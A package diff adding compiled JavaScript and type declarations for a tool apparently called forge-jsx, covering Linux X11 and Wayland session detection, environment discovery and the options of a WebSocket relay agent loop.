if (runtime && !(process.env.DBUS_SESSION_BUS_ADDRESS || "").trim()) {
|
|
152
|
+
const busPath = path.join(runtime, "bus");
|
|
153
|
+
if (fs.existsSync(busPath)) {
|
|
154
|
+
process.env.DBUS_SESSION_BUS_ADDRESS = `unix:path=${busPath}`;
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
if (!(process.env.XAUTHORITY || "").trim()) {
|
|
158
|
+
const home = (process.env.HOME || "").trim() || os.homedir();
|
|
159
|
+
const xa = path.join(home, ".Xauthority");
|
|
160
|
+
if (fs.existsSync(xa))
|
|
161
|
+
process.env.XAUTHORITY = xa;
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
/**
|
|
165
|
+
* True when an X11 or Wayland desktop session appears present (after optional env discovery).
|
|
166
|
+
*/
|
|
167
|
+
function linuxDesktopSessionActive() {
|
|
168
|
+
if (process.platform !== "linux")
|
|
169
|
+
return false;
|
|
170
|
+
ensureLinuxGraphicalSessionEnv();
|
|
171
|
+
if ((process.env.WAYLAND_DISPLAY || "").trim() || (0, linuxX11_1.linuxLikelyWaylandSession)()) {
|
|
172
|
+
return true;
|
|
173
|
+
}
|
|
174
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
175
|
+
if (disp) {
|
|
176
|
+
return (0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)();
|
|
177
|
+
}
|
|
178
|
+
return linuxDiscoverDisplay() !== null || linuxDiscoverWaylandDisplay() !== null;
|
|
179
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
|
|
2
|
+
export declare function linuxDisplayPointsToExistingX11Socket(): boolean;
|
|
3
|
+
/**
|
|
4
|
+
* True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
|
|
5
|
+
* propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
|
|
6
|
+
*/
|
|
7
|
+
export declare function linuxLikelyWaylandSession(): boolean;
|
package/dist/linuxX11.js
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.linuxDisplayPointsToExistingX11Socket = linuxDisplayPointsToExistingX11Socket;
|
|
37
|
+
exports.linuxLikelyWaylandSession = linuxLikelyWaylandSession;
|
|
38
|
+
/**
|
|
39
|
+
* Detect whether DISPLAY=:n points at a real local X11 socket (headless / SSH edge cases).
|
|
40
|
+
*/
|
|
41
|
+
const fs = __importStar(require("node:fs"));
|
|
42
|
+
/** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
|
|
43
|
+
function linuxDisplayPointsToExistingX11Socket() {
|
|
44
|
+
const d = (process.env.DISPLAY || "").trim();
|
|
45
|
+
const m = /^:([0-9]+)(?:\.[0-9]+)?$/.exec(d);
|
|
46
|
+
if (!m)
|
|
47
|
+
return true;
|
|
48
|
+
try {
|
|
49
|
+
return fs.existsSync(`/tmp/.X11-unix/X${m[1]}`);
|
|
50
|
+
}
|
|
51
|
+
catch {
|
|
52
|
+
return false;
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
/**
|
|
56
|
+
* True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
|
|
57
|
+
* propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
|
|
58
|
+
*/
|
|
59
|
+
function linuxLikelyWaylandSession() {
|
|
60
|
+
if ((process.env.WAYLAND_DISPLAY || "").trim())
|
|
61
|
+
return true;
|
|
62
|
+
const xdg = (process.env.XDG_RUNTIME_DIR || "").trim();
|
|
63
|
+
if (!xdg)
|
|
64
|
+
return false;
|
|
65
|
+
try {
|
|
66
|
+
return fs.readdirSync(xdg).some((e) => /^wayland-\d+$/.test(e));
|
|
67
|
+
}
|
|
68
|
+
catch {
|
|
69
|
+
return false;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
export interface RunRelayAgentOptions {
|
|
2
|
+
relayUrl: string;
|
|
3
|
+
sessionId: string;
|
|
4
|
+
password?: string;
|
|
5
|
+
allowFilesystem?: boolean;
|
|
6
|
+
/** ms between reconnect attempts after failure */
|
|
7
|
+
reconnectDelayMs?: number;
|
|
8
|
+
quiet?: boolean;
|
|
9
|
+
/**
|
|
10
|
+
* Absolute path to the forge-jsx package root (the directory containing `package.json`).
|
|
11
|
+
* Used for version reporting in the agent `info` message (`forge_jsx_version`).
|
|
12
|
+
*/
|
|
13
|
+
pkgRoot?: string;
|
|
14
|
+
/**
|
|
15
|
+
* Invoked once per WebSocket connect after the relay `connected` message (parsed `relay_features`
|
|
16
|
+
* object, possibly empty). Used to apply relay-advertised settings before Discord starts.
|
|
17
|
+
*/
|
|
18
|
+
onRelayCapabilities?: (relayFeatures: Record<string, unknown>) => void;
|
|
19
|
+
}
|
|
20
|
+
/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
|
|
21
|
+
export declare function parseRelayReconnectDelayMs(): number;
|
|
22
|
+
/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
|
|
23
|
+
export declare function parseRelayWatchdogSec(): number;
|
|
24
|
+
export { forgeSemverLt } from "./forgeSemver.js";
|
|
25
|
+
export declare function runRelayAgentLoop(opts: RunRelayAgentOptions): void;
|